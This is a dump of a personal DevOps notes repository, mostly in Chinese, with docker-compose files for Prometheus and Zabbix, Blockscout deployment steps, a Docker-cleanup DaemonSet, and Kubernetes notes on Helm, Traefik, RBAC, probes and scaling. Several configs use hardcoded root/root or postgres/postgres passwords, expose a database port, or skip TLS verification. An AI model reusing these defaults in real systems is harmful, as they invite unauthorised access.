8 | image: prom/prometheus
9 | volumes:
10 | - "./prometheus.yml:/etc/prometheus/prometheus.yml"
11 | ports:
12 | - "9090:9090"
13 |
14 |
--------------------------------------------------------------------------------
/container/Docker/docker-compose-yaml/promethues-grafana/promethues.yaml:
--------------------------------------------------------------------------------
1 | scrape_configs:
2 | - job_name: minio
3 | metrics_path: /minio/prometheus/metrics
4 | static_configs:
5 | - targets: ['10.10.10.10:9000']
6 | - job_name: 'node_exporter'
7 | static_configs:
8 | - targets: ['10.10.10.11:9100']
--------------------------------------------------------------------------------
/container/Docker/docker-compose-yaml/zabbix/client.yaml:
--------------------------------------------------------------------------------
1 | version: '3'
2 | services:
3 | zabbix-agent:
4 | image: zabbix/zabbix-agent
5 | container_name: zabbix-server-agent
6 | network_mode: host
7 | environment:
8 | ZBX_HOSTNAME: zabbix server
9 | ZBX_SERVER_HOST: 127.0.0.1
10 | ports:
11 | - '10050:10050'
--------------------------------------------------------------------------------
/container/Docker/docker-compose-yaml/zabbix/zabbix.yaml:
--------------------------------------------------------------------------------
1 | version: "3"
2 | services:
3 | zabbix-server:
4 | image: "zabbix/zabbix-server-mysql:centos-4.0.4"
5 | container_name: "zabbix-server"
6 | restart: "always"
7 | environment:
8 | - "DB_SERVER_HOST=zabbix-db"
9 | - "MYSQL_USER=root"
10 | - "MYSQL_PASSWORD=root"
11 | # - "DB_SERVER_PORT="
12 | - "MYSQL_DATABASE=zabbix"
13 | volumes:
14 | - "zabbix-server-data:/var/lib/zabbix/"
15 | depends_on:
16 | - "zabbix-db"
17 | ports:
18 | - "10051:10051"
19 |
20 |
21 | zabbix-web:
22 | image: "zabbix/zabbix-web-nginx-mysql:centos-4.0.4"
23 | container_name: "zabbix-web"
24 | restart: "always"
25 | environment:
26 | - "DB_SERVER_HOST=zabbix-db"
27 | - "MYSQL_USER=root"
28 | - "MYSQL_PASSWORD=root"
29 | - "ZBX_SERVER_HOST=zabbix-server"
30 | - "PHP_TZ=Asia/Shanghai "
31 | #- "ZBX_SERVER_PORT="
32 | # - "DB_SERVER_PORT=3306"
33 | - "MYSQL_DATABASE=zabbix"
34 | #- "ZBX_SERVER_NAME="
35 | depends_on:
36 | - "zabbix-server"
37 | - "zabbix-db"
38 | ports:
39 | - "8082:80"
40 |
41 | zabbix-db:
42 | image: "mariadb:10.2.22"
43 | container_name: "zabbix-db"
44 | restart: "always"
45 | environment:
46 | - "MYSQL_ROOT_PASSWORD=root"
47 | - "MYSQL_DATABASE=zabbix"
48 | # - "MYSQL_USER=root"
49 | # - "MYSQL_PASSWORD=root"
50 | #- "MYSQL_ALLOW_EMPTY_PASSWORD="
51 | #- "MYSQL_RANDOM_ROOT_PASSWORD="
52 | ports:
53 | - "33063:3306"
54 | volumes:
55 | - "zabbix-db-data:/var/lib/mysql/"
56 | volumes:
57 | zabbix-server-data:
58 | zabbix-db-data:
--------------------------------------------------------------------------------
/container/Images/app/blockscout/README.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2022-01-06
3 | ---
4 |
5 | [TOC]
6 |
7 | # 以太坊区块链游览器 Blockscout
8 |
9 | - 官方链接
10 | - https://github.com/blockscout/blockscout
11 | - https://docs.blockscout.com/for-developers/information-and-settings/requirements
12 | - 第三方参考
13 | - https://www.jianshu.com/p/40bbc588058f
14 | - 相关链接
15 | - https://github.com/syscoin/blockscout/blob/master/Dockerfile
16 | - https://github.com/asdf-vm/asdf-elixir
17 |
18 | ## 构建
19 |
20 | ```bash
21 | # 方式一 构建指定的commit分支
22 | docker build --build-arg blockscout_commit=v4.1.0-beta --no-cache --network=host -f Dockerfile -t garysdevil/blockscout:v4.1.0-beta .
23 | # 方式二 构建master分支
24 | docker build --no-cache --network=host -f Dockerfile -t garysdevil/blockscout:latest .
25 | ```
26 |
27 | ## 部署
28 |
29 | - 部署postgres
30 |
31 | ```bash
32 | # https://hub.docker.com/_/postgres?tab=description
33 | docker pull postgres:13
34 |
35 | # docker volume create postgres-volumn
36 | # -v postgres-volumn:/var/lib/postgresql/data
37 | docker run -d --name postgres -p 127.0.0.1:5432:5432 -e POSTGRES_PASSWORD=postgres postgres:13
38 | # docker exec -it postgres /bin/bash
39 | # psql -h 127.0.0.1 -U postgres -W
40 | ```
41 |
42 | - 配置blockscout的环境变量
43 |
44 | - vi blockscout.env
45 |
46 | ```conf
47 | DATABASE_URL=postgresql://postgres:postgres@localhost:5432/blockscout
48 | DB_HOST=localhost
49 | DB_PASSWORD=postgres
50 | DB_PORT=5432
51 | DB_USERNAME=postgres
52 | ETHEREUM_JSONRPC_VARIANT=geth
53 | ETHEREUM_JSONRPC_HTTP_URL=http://localhost:8545
54 | ETHEREUM_JSONRPC_WS_URL=ws://localhost:8544
55 | SUBNETWORK=PRIVATE
56 | PORT=4000
57 | ```
58 |
59 | - 部署blockscout
60 |
61 | ```bash
62 |
63 | docker pull garysdevil/blockscout:latest
64 |
65 | # 初始化数据库
66 | docker run --rm --network=host --env-file blockscout.env garysdevil/blockscout:latest mix do ecto.drop, ecto.create, ecto.migrate
67 | # 启动服务
68 | docker run -d --network=host --env-file blockscout.env --name blockscout garysdevil/blockscout:latest
69 | ```
70 |
71 | - 访问方式
72 |
73 | - http://127.0.0.1:4000
74 | - https://127.0.0.1:4001
75 |
--------------------------------------------------------------------------------
/container/Images/devops/clean-image/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:18.04
2 |
3 | copy ./cronjob.parms /root
4 |
5 | RUN apt-get update \
6 | && apt-get install -y cron \
7 | && rm -rf /var/cache
8 |
9 | # && touch /var/spool/cron/crontabs/root \
10 | # && chown root.crontab /var/spool/cron/crontabs/root \
11 |
12 | # docker build --no-cache --network=host -f Dockerfile -t garysdevil/devops:clean-image .
13 |
14 | # docker run -v /var/run/docker.sock:/var/run/docker.sock -v $(which docker):/usr/bin/docker garysdevil/devops:clean-image /bin/bash -c "/etc/init.d/cron start;crontab -u root /root/cronjob.parms;touch /tmp/clean-docker.log;tail -f /tmp/clean-docker.log"
--------------------------------------------------------------------------------
/container/Images/devops/clean-image/clean-docker.yaml:
--------------------------------------------------------------------------------
1 | ---
2 | apiVersion: apps/v1
3 | kind: DaemonSet
4 | metadata:
5 | name: clean-docker
6 | namespace: kube-system
7 | spec:
8 | selector:
9 | matchLabels:
10 | k8s-app: clean-docker
11 | template:
12 | metadata:
13 | labels:
14 | k8s-app: clean-docker
15 | kubernetes.io/cluster-service: "true"
16 | spec:
17 | terminationGracePeriodSeconds: 30
18 | containers:
19 | - name: clean-docker
20 | image: garysdevil/devops:clean-image
21 | imagePullPolicy: Always
22 | # lifecycle:
23 | # postStart:
24 | # exec:
25 | # command: ["/bin/bash", "-c", "/etc/init.d/cron start;crontab -u root /root/cronjob.parms;tail -f /tmp/clean-docker.log"]
26 | command: ["/bin/bash", "-c", "/etc/init.d/cron start;crontab -u root /root/cronjob.parms;touch /tmp/clean-docker.log;tail -f /tmp/clean-docker.log"]
27 | # args:
28 | # - "/bin/bash"
29 | # - "-c"
30 | # - "sleep 31536000"
31 | volumeMounts:
32 | - name: docker-sock
33 | mountPath: /var/run/docker.sock
34 | - name: docker-bin
35 | mountPath: /usr/bin/docker
36 | volumes:
37 | - name: docker-sock
38 | hostPath:
39 | path: /var/run/docker.sock
40 | - name: docker-bin
41 | hostPath:
42 | path: /usr/bin/docker
--------------------------------------------------------------------------------
/container/Images/devops/clean-image/cronjob.parms:
--------------------------------------------------------------------------------
1 | # 55 04 * * * docker rmi $(docker images -f "dangling=true" -q)
2 | # reference https://docs.docker.com/config/pruning/
3 | 10 22 * * * docker image prune -a -f --filter "until=30m" >> /tmp/clean-docker.log 2>&1
4 |
--------------------------------------------------------------------------------
/container/Istio/istio.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2021-03-12
3 | ---
4 |
5 | [TOC]
6 |
--------------------------------------------------------------------------------
/container/Kubernetes/k8s-ecosystem/helm.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-11-16
3 | ---
4 |
5 | [TOC]
6 |
7 | # Helm v1.2
8 |
9 | - 构成
10 | Helm Chart Repository
11 | Helm Client
12 | Helm Server(Tiller)
13 | Kubernete API Server
14 |
15 | # Helm v1.3
16 |
17 | - https://github.com/helm/helm
18 |
19 | - 定义: Kubernetes 的包管理器
20 | 管理k8s应用的yaml资源文件
21 | 管理k8s应用的yaml资源文件间的依赖关系
22 |
23 | ## 构成
24 |
25 | Helm Chart Repository
26 | Helm Client
27 | Kubernete API Server
28 |
29 | ## 使用
30 |
31 | 0. 下载
32 | https://github.com/helm/helm/releases
33 |
34 | ## 指令
35 |
36 | #### 远程Chart仓库相关命令
37 |
38 | 1. 添加一个远程仓库
39 | helm repo add ${REPO_NAME} ${REPO_URL}
40 | 例:helm repo add iad https://chartrepo.i.garys.top
41 | 2. 列出当前已有的远程仓库
42 | helm repo list
43 | 3. 刷新远程仓库中的Chart
44 | helm repo update
45 | 4. 移除远程仓库
46 | helm repo remove iad
47 | 5. 搜索远程仓库中的Chart
48 | helm search repo ${REPO_NAME}
49 | 例:helm search repo iad
50 | 6. 根据关键字搜索远程仓库中的Chart
51 | helm search repo ${REPO_NAME}/${KEYWORD}
52 | 例:helm search repo iad/rhine2
53 |
54 | #### 查看Chart信息相关命令(通常在部署Chart前时使用)
55 |
56 | 1. 查看Chart的Chart.yaml文件信息
57 | helm show chart ${REPO_NAME}/${CHART_NAME}
58 | 例:helm show chart iad/rhine2asset
59 | 2. 查看Chart有哪些变量可以被配置
60 | helm show values ${REPO}/${CHART}
61 | 例:helm show values iad/rhine2asset
62 | 3. 查看Chart的README文件
63 | helm show readme ${REPO}/${CHART}
64 | 例:helm show readme iad/rhine2asset
65 |
66 | #### 部署Chart相关命令
67 |
68 | 1. 部署一个应用,使用默认参数值
69 | helm install -n ${RELEASE_NAME} ${CHART_NAME}
70 | 2. 部署一个应用,使用自定义参数值,并添加描述
71 | helm install -n ${RELEASE_NAME} ${CHART_NAME} --set key=val --description “str”
72 | 3. 原子部署一个应用,在指定的时间内未成功部署则自动回滚
73 | helm install -n ${RELEASE_NAME} ${CHART_NAME} --set key=val --atomic --wait --timout 10s --description “str”
74 | 4. 升级一个应用,除了新设置的参数值外,其余参数值复用上一个Release的,若在指定时间内未成功升级,则自动回滚
75 | helm upgrade -n ${NAMESPACE} ${RELEASE_NAME} ${CHART_NAME} --set key=val --reuse-values --atomic --wait --timout 10s --description “str”
76 | 5. 回滚Release至指定版本
77 | helm rollback -n ${NAMESPACE} ${RELEASE_NAME} ${REVISION_NUM}
78 | 6. 卸载Release
79 | helm uninstall -n ${NAMESPACE} ${RELEASE_NAME}
80 |
81 | --dry-run 只渲染不部署
82 | --debug
83 |
84 | #### 查看Release信息相关命令(通常在部署Chart后运行时使用)
85 |
86 | 1. 查看Release启动时,被设置的参数值
87 | helm get values -n ${NAMESPACE} ${RELEASE_NAME}
88 | 例:helm get values –n rhine2-helm rhine2
89 | 2. 查看Release所有参数值
90 | helm get values -n ${NAMESPACE} ${RELEASE_NAME} --all
91 | 例:helm get values –n rhine2-helm rhine2 --all
92 |
--------------------------------------------------------------------------------
/container/Kubernetes/k8s-ecosystem/k8s-jenkins.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-11-16
3 | ---
4 |
5 | [TOC]
6 |
7 | 1. jenkins集成k8s
8 |
9 | ```
10 | 安装jenkins的kubernetes cli插件
11 |
12 | 找到kubernetes集群kubectl命令的配置文件,一般为~/.kube/config
13 |
14 | 找到里面的两个证书信息client-certificate-data和client-key-data,反解为证书
15 |
16 | echo "${client-certificate-data}" | base64 -d > admin.pem
17 |
18 | echo "${client-key-data}" | base64 -d > admin-key.pem
19 |
20 | 生成p12文件:(会要求输入密码,自己指定一个即可)
21 |
22 | openssl pkcs12 -inkey admin-key.pem -in admin.pem -export -out Cert.p12
23 |
24 | 在jenkins里选择凭证,创建新的凭证(类型为Certicate)
25 |
26 |
27 | 密码填写生成p12文件时输入的密码。
28 |
29 | 使用pipeline调用
30 |
31 | withKubeConfig([credentialsId: 'qa-120',
32 | serverUrl: 'https://${IP}:8443',
33 | contextName: 'k8s-qa'])
34 |
35 | 以上credentialsId为jenkins中的凭证ID
36 |
37 | serverUrl为kube-api的地址
38 |
39 | ```
40 |
--------------------------------------------------------------------------------
/container/Kubernetes/k8s-ecosystem/operator.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-11-16
3 | ---
4 |
5 | [TOC]
6 |
7 | #
8 |
9 | - 参考文档\
10 | https://blog.51cto.com/xjsunjie/2422877?source=dra
11 |
12 | - Operator 基于 CRD,并通过控制器来保证应用处于预期状态。
13 |
14 | 1.
15 |
16 | operator跟docker是相似的,而其主要的交付对象从单个的应用实例,扩展到了多实例、分布式的系统上。以往部署一个分布式系统需要启动多个容器,然后进行复杂的配置,而现在只要创建一个CRD。operator将自动进行分布式系统中需要的各个资源的创建和部署。从这个角度上来说,operator的目标是实现分布式系统的标准化交付。
17 |
18 | 2.
19 |
20 | 如果说docker是奠定的单实例的标准化交付,那么Helm则是集群化多实例、多资源的标准化交付。
21 |
22 | 3. 编排角度
23 | Helm跟operator有非常多的共性,很难对两者的作用进行区分。Helm也可以完成分布式系统的部署。那么operator跟Helm又有什么样的区别呢?Helm的侧重点在于多种多个的资源管理,而对生命周期的管理主要包括创建更新和删除。Helm通过命令驱动整个的生命周期。
24 | 而operator对于资源的管理则不仅是创建和交付。由于其可以通过watch的方式获取相关资源的变化事件,因此可以实现高可用、可扩展、故障恢复等运维操作。因此operator对于生命周期的管理不仅包括创建,故障恢复,高可用,升级,扩容缩容,异常处理,以及最终的清理等等。
25 |
--------------------------------------------------------------------------------
/container/Kubernetes/k8s-ecosystem/traefik.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-11-16
3 | ---
4 |
5 | [TOC]
6 |
7 | ## 安装
8 |
9 | 1. 在k8s集群内通过yaml安装traefik v2.3
10 | https://doc.traefik.io/traefik/user-guides/crd-acme/
11 |
12 | ## 配置
13 |
14 | ```yaml
15 | apiVersion: traefik.containo.us/v1alpha1
16 | kind: IngressRoute
17 | metadata:
18 | name: ingressroute-8000
19 | spec:
20 | entryPoints:
21 | - web
22 | routes:
23 | - match: Host(`域名`) && PathPrefix(`/test-monitor`)
24 | kind: Rule
25 | services:
26 | - name: 服务名
27 | port: 8080
28 | middlewares:
29 | - name: strip-prefix
30 | ---
31 | apiVersion: traefik.containo.us/v1alpha1
32 | kind: Middleware
33 | metadata:
34 | name: strip-prefix
35 | spec:
36 | stripPrefix:
37 | prefixes:
38 | - "/test-monitor"
39 | forceSlash: false
40 | ```
41 |
42 | ## 需求与解决方案
43 |
44 | 1. http 通过traefik连接 k8s dashboard 需要设置的参数
45 |
46 | ```yaml
47 | spec:
48 | containers:
49 | - args:
50 | - --entrypoints.web.forwardedheaders.insecure=true
51 | - --insecureSkipVerify=true # 跳过https验证
52 | ```
53 |
54 | 2. 通过设置sticky session保持每次会话只访问一个Pod
55 |
56 | ingressroute.yaml
57 |
58 | ```yaml
59 | - name: AAA
60 | port: 80
61 | sticky:
62 | cookie:
63 | name: lvl1
64 | ```
65 |
66 | curl -H "HOST:qa1-api.hub.garys.top" ${IP1}:30080/util/s -v
67 |
68 | ```log traefik返回会多出这条数据
69 | Set-Cookie: lvl1=http://${IP2}:8080; Path=/
70 | ```
71 |
72 | curl -H "HOST:qa1-api.hub.garys.top" -b "lvl1=http://${IP2}:8080" ${IP1}:30080/util/s -v
73 |
--------------------------------------------------------------------------------
/container/Kubernetes/k8s-functions/cronjob.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-11-21
3 | ---
4 |
5 | [TOC]
6 |
7 | ```
8 |
9 | ```
10 |
--------------------------------------------------------------------------------
/container/Kubernetes/k8s-functions/ingress.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2021-03-12
3 | ---
4 |
5 | [TOC]
6 |
7 | 1. ingress
8 |
9 | ```yaml
10 | apiVersion: extensions/v1beta1
11 | kind: Ingress
12 | metadata:
13 | name: 名字
14 | namespace: default
15 | # annotations:
16 | # networking.gke.io/managed-certificates: 谷歌证书名称 # 谷歌gke的service,配置https只能通过ingress暴露出去 # aws可以直接在service里配置
17 | # kubernetes.io/ingress.global-static-ip-name: 谷歌静态IP名称 # 谷歌云服务里配置的静态IP的名称 # 不使用这行注解则分配为动态IP
18 | spec:
19 | rules:
20 | - host: 域名
21 | http:
22 | paths:
23 | - path: /*
24 | backend:
25 | serviceName: service的名字
26 | servicePort: 80
27 |
28 | ```
29 |
30 | 2. 谷歌云服务配置证书
31 |
32 | ```yaml
33 | apiVersion: networking.gke.io/v1beta1
34 | kind: ManagedCertificate
35 | metadata:
36 | name: 谷歌证书名称
37 | namespace: default
38 | spec:
39 | domains:
40 | - 域名
41 | ```
42 |
--------------------------------------------------------------------------------
/container/Kubernetes/k8s-functions/liveness-readness.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-11-16
3 | ---
4 |
5 | [TOC]
6 |
7 | ### 健康检查Prob探针
8 |
9 | - 两种类型:livenessProbe , readinessProbe
10 |
11 | - 三种检查方式: httpGet , exec , tcpSocket
12 |
13 | - liveness主要用来确定何时重启容器
14 |
15 | - readiness主要来确定容器是否已经就绪
16 | initialDelaySeconds:容器启动后第一次执行探测是需要等待多少秒。
17 | periodSeconds:执行探测的频率。默认是10秒,最小1秒。
18 | timeoutSeconds:探测超时时间。默认1秒,最小1秒。
19 | successThreshold:探测失败后,最少连续探测成功多少次才被认定为成功。默认是1。对于liveness必须是1。最小值是1。
20 | failureThreshold:探测成功后,最少连续探测失败多少次才被认定为失败。默认是3。最小值是1。
21 |
22 | 1. http探针
23 |
24 | ```yaml
25 | containers:
26 | .....
27 | readinessProbe:
28 | httpGet:
29 | path: /actuator/health
30 | port: 8080
31 | scheme: HTTP
32 | initialDelaySeconds: 10
33 | periodSeconds: 10
34 | failureThreshold: 11
35 | successThreshold: 1
36 | timeoutSeconds: 10
37 | livenessProbe:
38 | httpGet:
39 | path: /actuator/health
40 | port: 8080
41 | scheme: HTTP
42 | initialDelaySeconds: 120
43 | periodSeconds: 10
44 | failureThreshold: 6
45 | successThreshold: 1
46 | timeoutSeconds: 10
47 | ```
48 |
49 | ```yaml
50 | apiVersion: v1
51 | kind: Pod
52 | metadata:
53 | name: goproxy
54 | labels:
55 | app: goproxy
56 | spec:
57 | containers:
58 | - name: goproxy
59 | image: k8s.gcr.io/goproxy:0.1
60 | ports:
61 | - containerPort: 8080
62 | readinessProbe:
63 | tcpSocket:
64 | port: 8080
65 | initialDelaySeconds: 5
66 | periodSeconds: 10
67 | livenessProbe:
68 | tcpSocket:
69 | port: 8080
70 | initialDelaySeconds: 15
71 | periodSeconds: 20
72 | ```
73 |
--------------------------------------------------------------------------------
/container/Kubernetes/k8s-functions/others.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-12-23
3 | ---
4 |
5 | [TOC]
6 |
7 | ## static pod
8 |
9 | https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/
10 |
11 | - static pod
12 |
13 | 1. 是由kubelet直接管理的,k8s api server并不会感知到static pod的存在,也不会和任何一个replication controller关联上,完全是由kubelet进程来监管,并在它崩溃的时候负责重启。
14 | 2. Kubelet会通过api server为每一个static pod创建一个对应的mirror pod
15 | 3. 有static pod和mirror pod的映射关系,kubelet在运行时就可以通过UID或者Fullname索引到任意pod,以及获取全部在本节点上运行的pod。
16 |
--------------------------------------------------------------------------------
/container/Kubernetes/k8s-functions/pod-scale.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-12-23
3 | ---
4 |
5 | [TOC]
6 |
7 | ## scale HPA
8 |
9 | - 文档参考
10 |
11 | - https://kubernetes.io/docs/tasks/run-application/horizontal-pod-autoscale/
12 | - https://idig8.com/2019/08/21/zoujink8skubernetes1-15-1depod-zidongkuosuorong23/
13 |
14 | - 版本说明
15 |
16 | 1. 从 Kubernetes 1.8 开始,资源使用指标(如容器 CPU 和内存使用率)通过 Metrics API 在 Kubernetes 中获取, metrics-server(收集及统计资源的利用率) 替代了heapster
17 | 2. Heapster:仅支持CPU使用率
18 | 3. autoscaling/v1 支持基于CPU指标的缩放
19 | 4. autoscaling/v2beta2 引入了基于内存和自定义指标的缩放
20 | 5. k8s 1.6版本之后才有 autoscaling/v2beta2
21 |
22 | ### 手动
23 |
24 | 1. 手动扩容
25 | kubectl scale --replicas=5 deployment nginx-deploy
26 | kubectl scale --replicas=1 deployment garysweb -n project-stg1
27 |
28 | ### 自动
29 |
30 | 0. 机制
31 | Pod 水平自动扩缩器的实现是一个控制回路,由控制器管理器的 --horizontal-pod-autoscaler-sync-period 参数指定周期(默认值为 15 秒)
32 |
33 | 1. 通过命令行
34 | kubectl autoscale deployment foo --min=2 --max=10
35 |
36 | 2. 基于k8s 1.5版本
37 |
38 | ```yaml
39 | apiVersion: autoscaling/v2beta1
40 | kind: HorizontalPodAutoscaler
41 | metadata:
42 | name: project-auto-hahsmeaccount
43 | namespace: project-perform
44 | spec:
45 | scaleTargetRef: # 指定要伸缩的目标资源
46 | apiVersion: apps/v1
47 | kind: Deployment
48 | name: garysaccount
49 | minReplicas: 2
50 | maxReplicas: 3
51 | metrics:
52 | #- type: Resource
53 | # resource:
54 | # name: cpu
55 | # targetAverageValue: 2Gi
56 | - type: Resource
57 | resource:
58 | name: memory
59 | targetAverageUtilization: 80
60 | ```
61 |
62 | ## scale VPA
63 |
64 | Vertical Pod AutoScaling
65 |
--------------------------------------------------------------------------------
/container/Kubernetes/k8s-functions/pod-update.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-12-23
3 | ---
4 |
5 | [TOC]
6 |
7 | ## update
8 |
9 | - 滚动升级,
10 |
11 | 1. update:改变镜像tag:
12 | kubectl set image deployment/名字 容器名字=镜像 --record
13 | kubectl set image deployment/nginx-deployment nginx=nginx:1.16.1 --record
14 |
15 | 2. update:通过edit配置文件改变镜像tag:
16 | kubectl edit deployment/pod 名字
17 |
18 | 3. 查看pod迭代状况
19 | kubectl rollout status deployment deployment名字
20 | --watch=false 非持续查看
21 |
22 | 4. 查看特定版本的详细信息:
23 | kubectl rollout history deployment
24 | kubectl rollout history deployment 名字 --revision=版本
25 |
26 | 5. 回滚到上一个版本:
27 | kubectl rollout undo deployment 名字
28 | 回滚到特定的版本 --to-revision=版本号
29 |
30 | 6. 回滚到指定版本
31 | kubectl rollout undo deployment 名字 --to-revision=1
32 |
33 | ## yaml参数
34 |
35 | - maxSurge:指定升级期间存在的总Pod对象数量最多可超出期望值的个数,其值可以是0或正整数,也可以是一个期望值的百分比;如,如果期望值为3,当前的属性值为1,则表示Pod对象的总数不能超过4个。
36 |
37 | - maxUnavailable:升级期间不可用的Pod副本数(包括新旧版本)最多不能低于期望数值的个数,其值可以是0或正整数,也可以是一个期望值的百分比;默认值为1,该值意味着如果期望值是3,则升级期间至少要有两个Pod对象处于正常提供服务的状态。
38 |
39 | - maxSurge 和 maxUnavailable 属性的值不可同时为 0 ,否 则 Pod 对象的副本数量在符合用户期望的数量后无法做出合理变动以进 行滚动更新操作。
40 |
41 | - 金丝雀发布
42 |
43 | ```bash
44 | deployment=busybox-deploy-kujiu
45 |
46 | #
47 | kubectl patch deployments ${deployment} -p '{"spec":{"minReadySeconds":5}}' # 默认值为0
48 | kubectl patch deployments ${deployment} -p '{"spec":{"maxReadySeconds":3600}}'
49 |
50 | # 升级
51 | kubectl set image deployments ${deployment} busybox-deploy=busybox:1.32-musl
52 | # 暂停升级
53 | kubectl rollout pause deployments ${deployment}
54 | # 查看pod迭代状况
55 | kubectl rollout status deployment ${deployment}
56 | # 继续升级
57 | kubectl rollout resume deployments ${deployment}
58 |
59 | # 历史升级记录查看
60 | kubectl rollout history deployments ${deployment}
61 | # 回滚
62 | kubectl rollout undo deployments ${deployment}
63 |
64 |
65 | ```
66 |
--------------------------------------------------------------------------------
/container/Kubernetes/k8s-functions/pod.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2021-01-13
3 | ---
4 |
5 | [TOC]
6 |
7 | ## pod重启的原因
8 |
9 | 1. POD正常退出
10 | 2. POD异常退出
11 | 3. POD使用从CPU超过POD yaml里设置的CPU上限,或者超过容器所在namespace里配置的CPU上限
12 | 4. POD使用从Mem超过POD yaml里设置的Memory上限,或者超过容器所在namespace里配置的Memory上限
13 | 5. 运行时宿主机的资源无法满足POD的资源(内存 CPU)时会自动调度到其他机器,也会出现重启次数+1
14 | 6. 创建POD时指定的image找不到或者没有node节点满足POD的资源(内存 CPU)需求,会不断重启
15 |
--------------------------------------------------------------------------------
/container/Kubernetes/k8s-functions/port.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-11-16
3 | ---
4 |
5 | [TOC]
6 |
7 | 1. service
8 |
9 | - port 集群内部访问service的入口
10 |
11 | - nodePort 映射至主机的端口,集群外部访问service的入口
12 |
13 | - targetPort pod上的入口,targetPort 要等于container上服务的端口,targetPort端口号默认会继承port端口号,port 和 nodePort 的数据都会流入到targetPort上
14 |
15 | - 从port和nodePort上到来的数据最终经过kube-proxy流入到后端pod的targetPort上进入容器。
16 |
17 | 2.
18 |
19 | ```yaml
20 | apiVersion: v1
21 | kind: Service
22 | metadata:
23 | name: garyswebcms-svc
24 | namespace: project-qa
25 | spec:
26 | ports:
27 | - port: 8080
28 | protocol: TCP
29 | targetPort: 8080
30 | # nodePort: 28006
31 | selector:
32 | app: garyswebcms
33 | type: ClusterIP
34 | # type: NodePort
35 |
36 | ```
37 |
--------------------------------------------------------------------------------
/container/Kubernetes/k8s-functions/rbac.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-11-16
3 | ---
4 |
5 | [TOC]
6 |
7 | ### 概念
8 |
9 | ### 1 从role到deployment
10 |
11 | 1. 角色
12 | Role
13 | ClusterRole
14 | 2. 用户(Subject)
15 | Service Account
16 | User Account
17 | Group
18 | 3. 绑定角色与用户
19 | RoleBinding
20 | ClusterRoleBinding
21 | 4. 使用Service Account创建Pod
22 | spec:
23 | serviceAccountName: prometheus
24 | serviceAccount: prometheus
25 |
26 | ### 2
27 |
28 | 1. resources:
29 | 2. Pods
30 | 3. ConfigMaps
31 | 4. Deployments
32 | 5. Nodes
33 | 6. Secrets
34 | 7. Namespaces
35 | 8. verbs:
36 | create
37 | get
38 | delete
39 | list
40 | update
41 | edit
42 | watch
43 | exec
44 | 9. apiGroup: 资源和 API Group 进行关联,比如Pods属于 Core API Group,而Deployements属于 apps API Group
45 | ""
46 | apps
47 | autoscaling
48 | batch
49 |
50 | ### dashboard权限控制
51 |
52 | - 控制用户只能查看某些命名空间内的资源
53 |
54 | 1. ServiceAccount
55 | - serviceaccout创建时Kubernetes会默认创建对应的secret
56 | kubectl create sa xieshigang
57 | 2. Role
58 | - Role 是单个namespace范围的权限。
59 | - ClusterRole 是集群范围的授权
60 |
61 | ```yaml
62 | apiVersion: rbac.authorization.k8s.io/v1
63 | kind: Role
64 | metadata:
65 | name: project-secure-reader
66 | namespace: project-secure
67 | rules:
68 | - apiGroups:
69 | - '*'
70 | resources:
71 | - '*'
72 | verbs:
73 | - get
74 | - watch
75 | - list
76 | - apiGroups:
77 | - '*'
78 | resources:
79 | - pods/exec
80 | verbs:
81 | - create
82 | ```
83 |
84 | 3. RoleBinding
85 | - RoleBinding可以将角色中定义的权限授予用户或用户组,适用于某个命名空间内授权
86 |
87 | ```yaml
88 | apiVersion: rbac.authorization.k8s.io/v1
89 | kind: RoleBinding
90 | metadata:
91 | name: demo-reader-xieshigang
92 | namespace: project-secure
93 | roleRef:
94 | apiGroup: rbac.authorization.k8s.io
95 | kind: Role
96 | name: project-secure-reader
97 | subjects:
98 | - kind: ServiceAccount
99 | name: xieshigang
100 | namespace: default
101 | ```
102 |
103 | 4. 获取登陆dashboard的密钥
104 | kubectl describe secret xieshigang-token-k22rn
105 |
--------------------------------------------------------------------------------
/container/Kubernetes/k8s-functions/schedule-affinity.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-12-23
3 | ---
4 |
5 | [TOC]
6 |
7 | ## 运行时调度策略
8 |
9 | nodeAffinity(节点亲和性)
10 | podAffinity(Pod亲和性)
11 | podAntiAffinity(Pod反亲和性)
12 |
13 | ### nodeAffinity
14 |
15 | 1. 强制性
16 | - 节点亲和性配置 requiredDuringSchedulingIgnoredDuringExecution,disktype=ssd
17 | - pod 只会被调度到具有 disktype=ssd 标签的节点上
18 | 2. 非强制性
19 | - 节点亲和性配置 preferredDuringSchedulingIgnoredDuringExecution,disktype=ssd
20 | - 意味着 pod 将首选具有 disktype=ssd 标签的节点。
21 |
22 | ```yaml
23 | apiVersion: v1
24 | kind: Pod
25 | metadata:
26 | name: nginx
27 | spec:
28 | affinity:
29 | nodeAffinity:
30 | requiredDuringSchedulingIgnoredDuringExecution:
31 | nodeSelectorTerms:
32 | - matchExpressions:
33 | - key: disktype
34 | operator: In
35 | values:
36 | - ssd
37 | containers:
38 | - name: nginx
39 | image: nginx
40 | imagePullPolicy: IfNotPresent
41 | ```
42 |
--------------------------------------------------------------------------------
/container/Kubernetes/k8s-functions/schedule-priority.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-12-23
3 | ---
4 |
5 | [TOC]
6 |
7 | ## Pod Priority Preemption
8 |
9 | 1. Kubernetes 1.8版本之前,当集群的可用资源不足时,在用户提交新的Pod创建请求后,该Pod会一直处于Pending状态,即使这个Pod是一个很重要的Pod,也只能被动等待其他Pod被删除并释放资源,才能有机会被调度成功。
